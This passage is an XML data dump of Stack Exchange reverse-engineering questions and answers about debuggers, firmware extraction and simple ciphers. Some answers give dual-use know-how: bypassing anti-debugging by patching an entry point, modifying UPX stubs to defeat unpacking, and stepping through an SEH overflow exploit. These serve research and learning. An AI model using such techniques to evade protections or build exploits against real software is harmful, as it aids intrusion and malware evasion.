1E0001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to simulate same in windbg put this commands in a txt file and run windbg  (you should have skywings sdbgext extension loaded for verbose display )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp user32!GetMessageW &quot;pt;gc&quot;&#xA;g&#xA;bc *&#xA;.load sdbgext&#xA;bp @eip &quot;.if (poi(poi(esp+4)+4) == 0x202) {!hwnd poi(poi(esp+4));gc } .else {gc}&quot;&#xA;g&#xA;&#xA;windbg  -c &quot;$$&amp;gt;a&amp;lt; ......\wtf.txt&quot; calc&#xA;&#xA;Window    00600438&#xA;Name      And&#xA;Class     Button&#xA;WndProc   00000000&#xA;Style     WS_OVERLAPPED &#xA;ExStyle   WS_EX_NOPARENTNOTIFY WS_EX_LEFT WS_EX_LTRREADING WS_EX_RIGHTSCROLLBAR &#xA;HInstance 01000000&#xA;ParentWnd 00490534&#xA;Id        00000056&#xA;UserData  00000000&#xA;Unicode   TRUE&#xA;ThreadId  00000df0&#xA;ProcessId 00000f68&#xA;Window    00150436&#xA;Name      Xor&#xA;Class     Button&#xA;WndProc   00000000&#xA;Style     WS_OVERLAPPED &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2013-12-27T07:34:42.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3296" PostTypeId="1" AcceptedAnswerId="8744" CreationDate="2013-12-27T11:34:58.947" Score="4" ViewCount="2383" Body="&lt;p&gt;I need extract this firmware file. I tried &lt;code&gt;firmwaremodkit&lt;/code&gt; and &lt;code&gt;binwalk&lt;/code&gt;. It founds two trx headers, but cannot open it.( delete start in hexedit and untrx throws segfault, fmk found nothing)... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting is the constant repetition of the sequence: 00 00 11 53 48 44 52&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some tips how extract it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://uloz.to/xY4X3cPh/download-dwn&quot; rel=&quot;nofollow&quot;&gt;http://uloz.to/xY4X3cPh/download-dwn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3474" LastEditorUserId="245" LastEditDate="2013-12-27T14:34:20.033" LastActivityDate="2015-04-22T06:20:23.150" Title="How extract this firmware file?" Tags="|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3297" PostTypeId="1" CreationDate="2013-12-27T14:07:19.497" Score="2" ViewCount="282" Body="&lt;p&gt;I have an encrypted hex string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AA969CF9657F77C597C8EAFF1594D59374E4977F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I know corresponds to the plaintext:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://jogos.meo.pt/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know if it is possible to find out what encryption algorithm might have been used?&#xA;Anybody could help me please?&lt;/p&gt;&#xA;" OwnerUserId="3476" LastEditorUserId="3476" LastEditDate="2013-12-31T12:10:51.433" LastActivityDate="2013-12-31T12:10:51.433" Title="Facing encryption" Tags="|encryption|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3298" PostTypeId="2" ParentId="3297" CreationDate="2013-12-27T14:48:08.453" Score="1" Body="&lt;p&gt;Your ciphertext consists of 40 hexadecimal digits, which encode 20 bytes.  Your plaintext is 20 ASCII characters long.  The obvious assumption, therefore, is that the ciphertext has been calculated by taking the ASCII code of each plaintext character and either adding (modulo 256) or XORing a corresponding key byte with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the bytes in your ciphertext are not uniformly distributed over the range from 0 to 255, suggesting that what you have is &lt;em&gt;not&lt;/em&gt; a secure &lt;a href=&quot;//en.wikipedia.org/wiki/Stream_cipher&quot;&gt;stream cipher&lt;/a&gt; but something weaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, taking each byte of the ciphertext and subtracting the corresponding byte of plaintext yields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42 22 28 89 2b 50 48 5b 28 61 7b 8c e7 27 70 24 46 74 23 50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, in ASCII (using &lt;code&gt;\xHH&lt;/code&gt; for characters outside the valid ASCII range):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B&quot;(\x89+PH[(a{\x8C\xE7'p$Ft#P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those extra characters might belong to some 8-bit extension of ASCII, such as &lt;a href=&quot;//en.wikipedia.org/wiki/Windows-1252&quot;&gt;Windows-1252&lt;/a&gt;, which would make the &quot;keystream&quot; look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B&quot;(‰+PH[(a{Œç'p$Ft#P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks plausibly like something someone might produce simply by mashing &quot;random&quot; keys on a non-English keyboard, so it's at least plausible that the &quot;encryption&quot; mightsimply consist of adding this key string to the plaintext byte by byte.  However, without more samples, there's no real way to confirm this.&lt;/p&gt;&#xA;" OwnerUserId="1499" LastActivityDate="2013-12-27T14:48:08.453" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3299" PostTypeId="2" ParentId="3297" CreationDate="2013-12-27T15:13:59.480" Score="4" Body="&lt;p&gt;You'll likely need to reverse engineer the code that does the decryption. Tools such as &lt;a href=&quot;http://www.hexblog.com/?p=27&quot; rel=&quot;nofollow&quot;&gt;FindCrypt&lt;/a&gt; and the Krypto Analyzer (&quot;KANAL&quot;) plugin for &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/PEiD&quot; rel=&quot;nofollow&quot;&gt;PEiD&lt;/a&gt; may help you with a starting point.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-27T15:13:59.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3300" PostTypeId="2" ParentId="3297" CreationDate="2013-12-27T19:35:13.560" Score="3" Body="&lt;p&gt;Partly repeating what I already wrote in &lt;a href=&quot;https://crypto.stackexchange.com/questions/12616/facing-encryption#comment26973_12616&quot;&gt;my comment at crypto.SE&lt;/a&gt;…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one thing you can learn from that data is that the known ciphertext (20 bytes in hex-representation)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AA969CF9657F77C597C8EAFF1594D59374E4977F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can be XORed with the (let's just call it) OTP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C2E2E8895F5058AFF8AF858C3BF9B0FC5A94E350&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get the hex-encoded version of the known plaintext &lt;code&gt;http://jogos.meo.pt/&lt;/code&gt; which is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;687474703A2F2F6A6F676F732E6D656F2E70742F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you don't know anything else, it's already hard to tell if an algorithm or an OTP was used. Is &lt;code&gt;C2E2E8895F5058AFF8AF858C3BF9B0FC5A94E350&lt;/code&gt; an OTP or the result of a PRNG, a hash, or something else? You can't tell by simply looking at this rather minimal piece of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the only chance you have is to collect enough samples that will allow you to recognize a specific pattern. Yet, chances are that that pattern boils down to being a random OTP string of who-knows-what length. Personally, I can't &lt;em&gt;“feel”&lt;/em&gt; any patterns by just looking at it… but you could check the obvious ones: keyed Vignere over a 256 byte base, etc.&lt;/p&gt;&#xA;" OwnerUserId="2574" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:27.393" LastActivityDate="2013-12-27T19:41:04.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3301" PostTypeId="2" ParentId="3287" CreationDate="2013-12-27T21:22:30.343" Score="2" Body="&lt;p&gt;Quite frankly this is rather a development (i.e. StackOverflow) question than RCE, but let me give the level of advice I can give with the level of information you provided in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is whether what you want to achieve is to have those symbols available through a single library by all means or whether you don't care &lt;em&gt;how&lt;/em&gt; both sets of symbols are made available to your program(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you insist on the library, you could simply write &lt;em&gt;one&lt;/em&gt; shared library and export the symbols from it through shallow wrapper functions, but use the dynamic loader to find them from the originating shared objects (check out &lt;a href=&quot;http://linux.die.net/man/1/ldd&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ldd&lt;/code&gt;&lt;/a&gt; and related man pages). It is not too difficult to find all symbol names with &lt;a href=&quot;http://linux.die.net/man/1/readelf&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;readelf --dyn-syms &amp;lt;elf-file&amp;gt;&lt;/code&gt;&lt;/a&gt;/&lt;code&gt;readelf --syms --use-dynamic &amp;lt;elf-file&amp;gt;&lt;/code&gt; (the package on Ubuntu/Debian is &lt;code&gt;elfutils&lt;/code&gt;). From the output of that you can write a version script to use in your linker (e.g. &lt;code&gt;gcc -Wl,--version-script,script.map ...&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, assuming you use the default Linux facilities with no additional magic involved, you can also abuse the &lt;a href=&quot;http://linux.die.net/man/8/ld-linux&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ld-linux&lt;/code&gt;&lt;/a&gt;/&lt;a href=&quot;http://linux.die.net/man/8/ld.so&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ld.so&lt;/code&gt;&lt;/a&gt; approach of locating the symbols. If you write a simple wrapper shell script that sets &lt;code&gt;LD_PRELOAD&lt;/code&gt;, you can simply load both shared objects up front and they should - under normal circumstances - take precedence over other symbols. It's also commonly used as a debugging technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly suggest you read chapters 41 and 42 of Michael Kerrisks excellent book &quot;The Definitive Guide to Linux and Unix System Programming&quot;, colloquially known as &lt;a href=&quot;http://man7.org/tlpi/index.html&quot; rel=&quot;nofollow&quot;&gt;TLPI&lt;/a&gt;. The respective &lt;a href=&quot;http://man7.org/tlpi/code/online/all_files_by_chapter.html#ch42&quot; rel=&quot;nofollow&quot;&gt;source samples&lt;/a&gt; may come in handy, too, in your case.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-12-27T21:22:30.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3302" PostTypeId="1" CreationDate="2013-12-27T22:07:34.400" Score="11" ViewCount="8875" Body="&lt;p&gt;I'm debugging some app inside the ollydbg, so this two steps i set to start debugging the app.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I load the exe from file menu with input arguments&lt;/li&gt;&#xA;&lt;li&gt;Set breakpoint on msvcr71.printf function&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After this two initial steps, when I hit F9 the app show some messages generated with printf function depending from the input arguments(by now i'm testing wrong password which shows the app messages about wrong password). So now I need to jump to the code which hold the logic, the code that made the call to printf, by checking if the pass was good or bad. How this can be done, when I have set breakpoint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3480" LastEditorUserId="1485" LastEditDate="2013-12-31T15:30:08.907" LastActivityDate="2014-01-03T15:23:04.787" Title="Jump back to the caller" Tags="|ollydbg|debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3303" PostTypeId="2" ParentId="3302" CreationDate="2013-12-27T22:21:38.297" Score="4" Body="&lt;p&gt;Once your breakpoint on &lt;code&gt;printf()&lt;/code&gt; is hit, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt; to tell OllyDbg to run until the end of the &lt;code&gt;printf()&lt;/code&gt; function, then press &lt;kbd&gt;F7&lt;/kbd&gt; to single-step the return instruction back to the caller.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-12-27T22:54:18.097" LastActivityDate="2013-12-27T22:54:18.097" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3304" PostTypeId="1" CreationDate="2013-12-28T00:48:51.997" Score="8" ViewCount="7234" Body="&lt;p&gt;I am running windows 8.1 and OllyDBG 2.0. When I attach to a process and view the executable modules, I want to open one. However, when I double click on one of the modules, it won't open in the main OllyDBG window, which it should. Has anyone else had a similar issue or have a solution? I run OllyDBG as administrator and I even tried running it in compatibility mode for XP. I can provide more information if it is needed to fully answer my question.&lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2018-06-18T14:16:44.407" Title="Issue opening executable module in OllyDBG" Tags="|ollydbg|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3305" PostTypeId="1" AcceptedAnswerId="3306" CreationDate="2013-12-28T19:51:11.293" Score="3" ViewCount="8072" Body="&lt;p&gt;I attached Ollydbg to a process, and try to set breakpoint on &lt;code&gt;CreateWindowExW&lt;/code&gt;. I typed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpx CreateWindowExW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in command line. Then I checked the Breakpoints window and found it's totally empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing works smoothly in IDA pro -- I attached IDA pro to the process I'm going to debug, then in &quot;Modules&quot; window, I choose &lt;code&gt;user32.dll&lt;/code&gt; and right click on &lt;code&gt;CreateWindowExW&lt;/code&gt; and choose &quot;Add breakpoint&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I found setting breakpoint on Win32 API in Ollydbg is very very hard to use. Based on all information I got by Google, I only need to run &lt;code&gt;bpx xxxxx&lt;/code&gt; to set this kind of breakpoints, but in fact, it's rarely success. Most of time, no breakpoints were set by this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I miss something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: The process I debugged loaded a lot of DLLs dynamically. Is this the problem?&lt;/p&gt;&#xA;" OwnerUserId="3489" LastEditorUserId="245" LastEditDate="2013-12-28T23:07:46.783" LastActivityDate="2013-12-29T17:25:05.833" Title="Setting breakpoint on Win32 API does not work in Ollydbg" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3306" PostTypeId="2" ParentId="3305" CreationDate="2013-12-28T20:44:20.010" Score="3" Body="&lt;p&gt;With input focus on the disassembly pane in the CPU window, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;, then type &lt;code&gt;CreateWindowExW&lt;/code&gt; to navigate to the first instruction of that function. Then press &lt;kbd&gt;F2&lt;/kbd&gt; to set a breakpoint on the first instruction of that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all documented very clearly in OllyDbg's help file.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-28T20:44:20.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3307" PostTypeId="5" CreationDate="2013-12-29T13:36:52.400" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-29T13:36:52.400" LastActivityDate="2013-12-29T13:36:52.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3308" PostTypeId="4" CreationDate="2013-12-29T13:36:52.400" Score="0" Body="Assembler-like language destined to be executed in an interpreter, in a virtual machine or by just in time compilation. Java, Python and many other high-level languages are using bytecode languages." OwnerUserId="53" LastEditorUserId="70" LastEditDate="2013-12-29T15:08:56.647" LastActivityDate="2013-12-29T15:08:56.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3309" PostTypeId="5" CreationDate="2013-12-29T13:39:21.253" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-29T13:39:21.253" LastActivityDate="2013-12-29T13:39:21.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3310" PostTypeId="4" CreationDate="2013-12-29T13:39:21.253" Score="0" Body="A family of instruction set architectures originally designed by AMD to extend  the Intel x86 instruction set to 64bits CPUs." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-29T15:09:09.820" LastActivityDate="2013-12-29T15:09:09.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3311" PostTypeId="2" ParentId="3305" CreationDate="2013-12-29T17:25:05.833" Score="0" Body="&lt;p&gt;ollydbg command line plugin accepts &lt;code&gt;BP for Address&lt;/code&gt; and &lt;code&gt;BPX for labels&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if you require that breakpoint be set in Address use &lt;code&gt;bp CreateWindowExW&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you used bpx and no calls existed plugin will open a search for intermodular calls window for you to manually search for the interested api&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have a call like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010020ED FF15 A4110001   CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;USER32.CreateWindow&amp;gt;; USER32.CreateWindowExW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;plugin will set a break on this call with BPX style &#xA;for bp style you would need to use &lt;code&gt;bp 10020ED&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2013-12-29T17:25:05.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3312" PostTypeId="2" ParentId="3302" CreationDate="2013-12-29T17:48:26.270" Score="1" Body="&lt;p&gt;Both of Your ScreenShots are irrelevent the app has terminated in first screenshot &#xA;and it is in some random ZwMapSection in second screenshot &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you posted you set a bp on printf was the breakpoint hit ?&#xA;if it was hit then you can look at the call stack using ctrl+k &#xA;ollydbg will show you who called printf &lt;/p&gt;&#xA;&#xA;&lt;p&gt;your screenshots do not show if you had hit the break and if you are suspended in call to printf as Jason posted in his comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also with ollydbg you can use runtrace feature to trace the complete path that can help you isolate the logic have you tried using it &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2013-12-29T17:48:26.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3313" PostTypeId="5" CreationDate="2013-12-29T17:51:41.383" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-29T17:51:41.383" LastActivityDate="2013-12-29T17:51:41.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3314" PostTypeId="4" CreationDate="2013-12-29T17:51:41.383" Score="0" Body="Smallest sequence of instructions that can be managed independently by an operating system scheduler. Threads share all the same memory-space layout within the same process." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-04T02:49:29.940" LastActivityDate="2014-02-04T02:49:29.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3315" PostTypeId="5" CreationDate="2013-12-29T17:54:46.893" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-29T17:54:46.893" LastActivityDate="2013-12-29T17:54:46.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3316" PostTypeId="4" CreationDate="2013-12-29T17:54:46.893" Score="0" Body="Refer to a section of executable, library or object files that link memory addresses in the program and a string (the symbol). Symbols are used to store debug information, function names (for dynamic linking) and many other usages." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-29T23:05:28.387" LastActivityDate="2013-12-29T23:05:28.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3317" PostTypeId="5" CreationDate="2013-12-29T17:57:53.453" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-29T17:57:53.453" LastActivityDate="2013-12-29T17:57:53.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3318" PostTypeId="4" CreationDate="2013-12-29T17:57:53.453" Score="0" Body="A chain of characters, usually used to store text messages lying statically in the program or to receive dynamically messages from the user." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-30T08:36:16.390" LastActivityDate="2013-12-30T08:36:16.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3319" PostTypeId="5" CreationDate="2013-12-29T18:01:08.747" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-29T18:01:08.747" LastActivityDate="2013-12-29T18:01:08.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3320" PostTypeId="4" CreationDate="2013-12-29T18:01:08.747" Score="0" Body="Process of sending data one bit at a time, sequentially, over a communication channel or computer bus. Most of the computer systems, and especially embedded systems, have such communication port." OwnerUserId="53" LastEditorUserId="188" LastEditDate="2013-12-30T11:16:21.963" LastActivityDate="2013-12-30T11:16:21.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3321" PostTypeId="2" ParentId="3143" CreationDate="2013-12-29T21:06:05.897" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Depending on what you try to achieve, you can try to attach WinDbg in &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff552274%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;noninvasive mode&lt;/a&gt;: F6 -&gt; select the process and select noninvasive mode down on left.&lt;/li&gt;&#xA;&lt;li&gt;Other suggestion is, &lt;strong&gt;to patch the executable on disk at the entery point&lt;/strong&gt;, which you can locate for example by using &lt;a href=&quot;http://www.ntcore.com/files/ExplorerSuite.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF explorer&lt;/a&gt; with the infinite jump : &lt;strong&gt;0xEB 0xFE&lt;/strong&gt;. After you finish with the patch, just execute it and attach the debugger and restore the initial bytes back. You can continue from here to do what ever you want. As to bypassing debugger protection, there are plenty of plugins for debugger to help you: for OllyDbg - &lt;a href=&quot;http://tuts4you.com/download.php?view.3392&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyExt&lt;/a&gt;, &lt;a href=&quot;http://code.google.com/p/aadp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;aadp&lt;/a&gt; and regarding &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2082/debugger-hiding-plugin-for-windbg&quot;&gt;Windbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If Tls calls are present (you can also check it using CFF explorer) which will be executed before the entery point code, you can patch them too, and try to attach debugger too.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To debug child processes, you can use &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;procmon&lt;/a&gt; to inspect the whole flow and get the information regarding the parameter that the child processes are executed with. Or, you can breakpoint on CreateProcessA(W) or similar and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mh-nexus.de/en/hxd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HxD&lt;/a&gt; could be used as a hex editor for the above.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-12-31T13:26:28.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3322" PostTypeId="1" AcceptedAnswerId="3378" CreationDate="2013-12-29T23:33:04.030" Score="1" ViewCount="4671" Body="&lt;p&gt;How Can I save &lt;code&gt;IDA Pro&lt;/code&gt;'s normal graph view as image?&lt;br&gt;&#xA;Is there any tool or plugin for that?&lt;/p&gt;&#xA;" OwnerUserId="3360" LastEditorUserId="3360" LastEditDate="2013-12-30T13:04:55.427" LastActivityDate="2020-07-23T09:45:21.183" Title="Saving IDA graphs as image" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3323" PostTypeId="1" AcceptedAnswerId="3324" CreationDate="2013-12-30T11:04:58.020" Score="13" ViewCount="34579" Body="&lt;p&gt;I recently read a &lt;a href=&quot;https://twitter.com/corkami/status/417604202236350464/photo/1&quot; rel=&quot;noreferrer&quot;&gt;tweet&lt;/a&gt; from &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/188/ange&quot;&gt;Ange&lt;/a&gt; about a technique to fool UPX when the option &lt;code&gt;-d&lt;/code&gt; (decompress) is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how this is working and, what are the technique to prevent an UPX packed executable to be decompressed through &lt;code&gt;upx -d&lt;/code&gt; (if possible for, both, Linux and Windows).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2023-06-29T09:42:33.930" Title="How to prevent &quot;upx -d&quot; on an UPX packed executable?" Tags="|packers|upx|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3324" PostTypeId="2" ParentId="3323" CreationDate="2013-12-30T11:10:31.217" Score="15" Body="&lt;p&gt;UPX doesn't check the unpacking stub's integrity, and just blindly restores the data from the stored information, not from the actual execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since UPX is open-source and documented (&lt;a href=&quot;https://corkami.googlecode.com/files/upx-idb.zip&quot;&gt;commented IDB&lt;/a&gt;), it's easy to modify its and actually do something extra (anti-debug, patch, decryption, jump to real entrypoint...) that will be lost when 'upx -d' is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such UPX hack is not uncommon in malware.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-12-30T11:10:31.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3325" PostTypeId="5" CreationDate="2013-12-30T15:11:03.800" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-30T15:11:03.800" LastActivityDate="2013-12-30T15:11:03.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3326" PostTypeId="4" CreationDate="2013-12-30T15:11:03.800" Score="0" Body="Process of copying the content of a block of a program's memory to file. It can be not trivial if the target program hooked memory-related APIs." OwnerUserId="53" LastEditorUserId="188" LastEditDate="2013-12-30T16:30:51.267" LastActivityDate="2013-12-30T16:30:51.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3327" PostTypeId="1" AcceptedAnswerId="13699" CreationDate="2013-12-30T17:38:03.020" Score="6" ViewCount="1726" Body="&lt;p&gt;I have been trying to use IDA Pro (with bindiff) via IDAPython to automate the analysis process of a bios.dump file while outputting the results to a .txt / .asm file. From here I want to use the bindiff functions to compare this database with another database and output any differences to a file.  Any recommendations? &lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="2147" LastEditDate="2016-10-11T13:18:10.663" LastActivityDate="2016-10-11T20:23:11.423" Title="IDA Pro/IDAPython automation through IDAPython" Tags="|ida|idapython|ida-plugin|bin-diffing|tool-bindiff|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3328" PostTypeId="2" ParentId="3327" CreationDate="2013-12-30T18:17:42.383" Score="2" Body="&lt;p&gt;If you're asking about using BinDiff in batch mode: sorry, you can't. It's intentionally restricted.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-12-30T18:17:42.383" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3330" PostTypeId="2" ParentId="3277" CreationDate="2013-12-30T23:16:21.023" Score="2" Body="&lt;p&gt;Standard exploitation of SEH based BoF will try to point the SE Handler to a POP/POP/RET instruction. This is not always the case depending on enabled memory protections. (use Mona plugin for Immunity to check this using the command &lt;code&gt;!mona mod&lt;/code&gt;, or simply inspect the vulnerable binary characteristics)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your SE Handler is pointing to &lt;code&gt;0x384c5c36&lt;/code&gt;, you should put a break point at that address and hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt; to continue execution up to your breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest will greatly vary on the nature of the exploit and the kind of limitations it has to bypass. As it an image viewer, I doubt the exploit will use any techniques like heap spraying as it can execute any code that will spray the heap, like JavaScript, but you never know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on SEH based overflows, I would strongly recommend the &lt;a href=&quot;https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/&quot; rel=&quot;nofollow&quot;&gt;Corelan Tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3469" LastEditorUserId="245" LastEditDate="2013-12-30T23:43:08.033" LastActivityDate="2013-12-30T23:43:08.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
